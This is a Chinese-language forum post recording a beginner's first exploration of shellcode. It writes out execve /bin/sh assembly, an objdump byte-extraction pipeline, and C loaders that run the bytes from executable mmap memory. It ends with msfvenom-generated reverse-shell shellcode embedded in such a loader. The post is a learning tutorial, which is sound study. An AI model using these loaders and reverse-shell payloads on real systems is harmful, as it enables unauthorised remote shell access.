shellcode初探索记录
Neko205 发表于 福建 历史精选 1715浏览 · 2024-09-09 09:28

shellcode初探索——helloShellcode

我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是

很遗憾,我就是后者,对于c的理解也不多,shellcode也是只存在与msfvenom

这次算是我第一次算是认真接触

ShellCode? 机器码?

shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的

section .data
    bin_sh db '/bin/bash', 0x00      ; 字符串 "/bin/bash"

section .text
    global _start

_start:
    ; 调用 execve("/bin/bash", ["/bin/bash"], NULL)

    xor rax, rax                   ; 清除 rax
    mov rdi, bin_sh                ; rdi 指向 "/bin/bash"
    push rax                       ; 在栈上压入 NULL (argv)
    mov rsi, rsp                   ; rsi 指向 argv 数组
    push rax                       ; 在栈上压入 NULL (envp)
    mov rdx, rsp                   ; rdx 指向 envp 数组

    mov al, 59                     ; syscall 59 是 execve
    syscall                        ; 触发系统调用

这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步

汇编

nasm -f elf64 execve_shell.asm -o execve_shell.o

链接

ld execve_shell.o -o execve_shell

得到一个可执行文件,我们可以尝试调用他看看效果

之后可以使用objdump来获取16进制机器码

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

截至到这里都很顺利,但我尝试将得到的shellcode写道c中编译后出现了zsh: segmentation fault (core dumped) ./a.out

我在这里卡了很久,后续又尝试32位的汇编,在编译时使用-m32来获得兼容性汇编编译中的elf64改为elf32,另外在链接中添加elf_i386

section .text
    global _start

_start:
    xor eax, eax          ; 清空 eax 寄存器
    push eax              ; 压入 0 (NULL)

    push 0x68732f6e       ; 压入 "/sh"
    push 0x69622f2f       ; 压入 "//bin"
    mov ebx, esp          ; ebx 指向栈中的 "/bin/sh"

    push eax              ; 压入 NULL 作为 argv 的结束
    mov edx, esp          ; edx 指向 NULL (envp)
    push ebx              ; 压入 "/bin/sh"
    mov ecx, esp          ; ecx 指向 "/bin/sh" (argv)

    mov al, 0xb           ; 系统调用号 11 (execve)
    int 0x80              ; 发起系统调用
nasm -f elf32 execve_shell.asm -o execve_shell.o
ld -m elf_i386 execve_shell.o -o execve_shell

再导出机器码

❯ objdump -d ./test2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

载入c,编译运行

编译过后,存在于代码中的shellcode会被存放在程序的.rodata也就是只读数据段中,也可以通过objdump查看

❯ objdump -s -j .rodata a.out

a.out:     文件格式 elf32-i386

Contents of section .rodata:
 2000 03000000 01000200 00000000 00000000  ................
 2010 31c05068 6e2f7368 682f2f62 6989e350  1.Phn/shh//bi..P
 2020 2f626989 e35089e2 5389e1b0 0bcd8000  /bi..P..S.......

linux

初探

上面写了不少归根结底shellcode的运行本质上是将一段机器码(汇编)存入内存,而后执行,到这里暂时停下对汇编的研究先关注“壳”,说起来简单其实有不少的坑

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
  printf("Shellcode Length:  %d\n", strlen(code));
    void (*shellcode_func)() = (void (*)())code;
    shellcode_func();
}

这是我在网上找葫芦的时候看到的一个源码,简单拆解下他的main函数

printf("Shellcode Length:  %d\n", strlen(code));

打印shellcode的长度,用strlen函数计算

void (*shellcode_func)() = (void (*)())code;

分两侧说void (*shellcode_func)()这里用到了指针,他声明了一个函数指针shellcode_func指向是一个void的函数,另一侧的处理(void (*)())code;其中void表示函数的返回类型,(*)为函数指针的标记,()表示函数参数为空,而最外层的括号则是为了确保类型转换的正确

最后一句

shellcode_func();

则是将转化为函数的shellcode进行执行。

看着非常完美,但是漏掉了一个重要的问题,这段函数所处的内存是否有执行权限。

再探

这是代码样例

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = 
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 32位执行 /bin/sh

int main() {
    // 使用 mmap 分配可执行内存
    void *exec = mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);

    // 检查 mmap 是否成功
    if (exec == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }

    // 复制 Shellcode 到 mmap 分配的内存
    memcpy(exec, shellcode, sizeof(shellcode));

    // 调用 Shellcode
    ((void(*)())exec)();

    return 0;
}

编译

gcc -m32 -o shellcode filename.c

最早的代码直接在栈上存储并执行 Shellcode ,而这里的代码调用了mmap来分配内存与设置内存权限即PROT_READ | PROT_WRITE | PROT_EXEC中的可读、可写、可执行

而后通过memcpy复制到所分配的内存中

memcpy(目标,来源,字节数)

最后直接完成转换,赋值,调用

((void(*)())exec)();

msfvenom

既然他能在本地拉起shell,那就能反弹shell,可以尝试用msf生成一个shellcode

替换掉代码中的code即可

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned  char shellcode[] = 
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
    // 使用 mmap 分配可执行内存
    void *exec = mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);

    // 检查 mmap 是否成功
    if (exec == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }

    // 复制 Shellcode 到 mmap 分配的内存
    memcpy(exec, shellcode, sizeof(shellcode));

    // 调用 Shellcode
    ((void(*)())exec)();

    return 0;
}

参考文献

感谢

  • Hyperion-pwn-小小
0 条评论
某人
表情
可输入 255